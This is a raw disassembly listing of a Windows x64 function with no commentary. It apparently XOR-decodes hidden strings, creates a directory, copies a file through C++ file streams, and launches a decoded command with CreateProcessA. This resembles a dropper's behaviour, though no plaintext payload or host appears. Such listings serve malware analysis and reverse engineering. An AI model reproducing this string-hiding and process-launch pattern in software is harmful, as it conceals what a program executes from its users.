mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x28c]
mov word [rcx + 0x1c], ax
jmp 0x14001814a
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x280]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x288]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x28c]
mov word [rcx + 0x1c], ax
lea rcx, [0x14003b8b0]
call fcn.14001e4f8
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x1e], 0
je 0x1400181dc
xor byte [rdx], 0x6b
xor byte [rdx + 1], 0x35
xor byte [rdx + 2], 0x31
xor byte [rdx + 3], 0xd5
xor byte [rdx + 4], 0x5d
xor byte [rdx + 5], 0x89
xor byte [rdx + 6], 0xe9
xor byte [rdx + 7], 0x5b
xor byte [rdx + 8], 0x6b
xor byte [rdx + 9], 0x35
xor byte [rdx + 0xa], 0x31
xor byte [rdx + 0xb], 0xd5
xor byte [rdx + 0xc], 0x5d
xor byte [rdx + 0xd], 0x89
xor byte [rdx + 0xe], 0xe9
xor byte [rdx + 0xf], 0x5b
xor byte [rdx + 0x10], 0x6b
xor byte [rdx + 0x11], 0x35
xor byte [rdx + 0x12], 0x31
xor byte [rdx + 0x13], 0xd5
xor byte [rdx + 0x14], 0x5d
xor byte [rdx + 0x15], 0x89
xor byte [rdx + 0x16], 0xe9
xor byte [rdx + 0x17], 0x5b
xor byte [rdx + 0x18], 0x6b
xor byte [rdx + 0x19], 0x35
xor byte [rdx + 0x1a], 0x31
xor byte [rdx + 0x1b], 0xd5
xor byte [rdx + 0x1c], 0x5d
xor byte [rdx + 0x1d], 0x89
mov byte [rdx + 0x1e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
mov qword [rbp + 0x2a0], r13
mov qword [rbp + 0x2a8], r13
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140018200
lea rcx, [rbp + 0x290]
call fcn.140002e60
nop
lea r8, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 0xf
cmova r8, qword [rbp + 0x290]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.14001e590
mov rdi, rax
lea r8, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 0xf
cmova r8, qword [rbp + 0x290]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400182a7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
call fcn.14001e3e0
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x50]
call fcn.140039fb0
lea rdx, [rbp + 0x370]
cmp qword [rbp + 0x388], 0xf
cmova rdx, qword [rbp + 0x370]
lea rcx, [rbp - 0x50]
call fcn.14001a2c0
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rdi
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x54], edx
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0xc0]
call fcn.140039fb0
mov r8d, 0x20
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0xc0]
call fcn.140019cc0
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x40], 6
jne 0x140018368
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xd0], 6
jne 0x140018368
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xc0]
call fcn.140019e90
lea rcx, [rbp - 0x40]
call fcn.14001a740
mov ebx, 2
test rax, rax
jne 0x1400183a4
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov eax, r15d
cmp qword [rbp + rcx - 8], 0
cmovne eax, ebx
or eax, dword [rbp + rcx - 0x40]
and eax, 0x17
mov dword [rbp + rcx - 0x40], eax
and eax, dword [rbp + rcx - 0x3c]
jne 0x14001880f
lea rcx, [rbp + 0xc8]
call fcn.14001a740
test rax, rax
jne 0x1400183ef
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x108], 0
cmovne r15d, ebx
or r15d, dword [rbp + rcx + 0xd0]
and r15d, 0x17
mov dword [rbp + rcx + 0xd0], r15d
and r15d, dword [rbp + rcx + 0xd4]
jne 0x140018861
call fcn.140018d70
mov r9, rax
cmp byte [rax + 0x8e], 0
je 0x14001845f
lea rdx, [rax + 1]
mov r8, rsi
sub r8, rax
movabs r10, 0xd53df29ffdb7137
nop dword [rax]
nop dword [rax + rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x8e
jb 0x140018420
mov byte [r9 + 0x8e], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], r13
mov r8, rsi
inc r8
cmp byte [r9 + r8], 0
jne 0x140018472
mov rdx, r9
lea rcx, [rsp + 0x78]
call fcn.140002e60
nop
lea r8, [rsp + 0x78]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x230]
call fcn.14001ac40
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x1400184df
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400184da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400188b7
call fcn.14001e3e0
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rcx, qword [rbp + 0x240]
inc rcx
mov rax, rbx
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.14001e590
mov rbx, rax
lea r8, [rbp + 0x230]
cmp qword [rbp + 0x248], 0xf
cmova r8, qword [rbp + 0x230]
mov ecx, dword [rbp + 0x240]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
movups xmmword [rbp + 0x410], xmm0
movups xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], rax
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rax
mov dword [rbp + 0x40c], 1
mov word [rbp + 0x410], r13w
lea rdx, [rbp + 0x230]
cmp qword [rbp + 0x248], 0xf
cmova rdx, qword [rbp + 0x230]
lea rax, [rbp - 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14001e3e0
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x140018652
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001864d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400188bd
call fcn.14001e3e0
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], 0xf
mov byte [rbp + 0x230], 0
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rsi
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xc8]
call fcn.140019c10
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rbx
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xbc], edx
mov qword [rbp + 0x168], r14
lea rcx, [rbp + 0x168]
call fcn.14001d964
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x50], rdi
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x54], edx
lea rcx, [rbp - 0x40]
call fcn.140019c10
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x54], edx
mov qword [rbp + 0x60], r14
lea rcx, [rbp + 0x60]
call fcn.14001d964
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0xf
jbe 0x140017c3e
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018785
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400188c3
call fcn.14001e3e0
jmp 0x140017c3e
call fcn.140025ecc
nop
test al, 4
je 0x1400187a2
lea rbx, str.ios_base::badbit_set
jmp 0x1400187b6
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x290]
call fcn.140001d20
lea rdx, [0x140063e10]
lea rcx, [rbp + 0x290]
call fcn.14002037c
nop
call fcn.1400013f0
nop
call fcn.1400013f0
nop
call fcn.1400013f0
nop
call fcn.140025ecc
nop
call fcn.140025ecc
nop
call fcn.140025ecc
nop
test al, 4
je 0x14001881c
lea rbx, str.ios_base::badbit_set
jmp 0x140018830
test bl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001d20
lea rdx, [0x140063e10]
lea rcx, [rsp + 0x50]
call fcn.14002037c
int3
test r15b, 4
je 0x140018870
lea rbx, str.ios_base::badbit_set
jmp 0x140018886
test r15b, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001d20
lea rdx, [0x140063e10]
lea rcx, [rsp + 0x50]
call fcn.14002037c
nop
call fcn.140025ecc
nop
call fcn.140025ecc
nop
call fcn.140025ecc
nop
call fcn.140025ecc
nop
call fcn.140025ecc
nop
call fcn.140025ecc
nop
call fcn.140025ecc
nop
call fcn.140025ecc
nop
call fcn.140025ecc
nop
call fcn.140025ecc
nop
call fcn.140025ecc
int3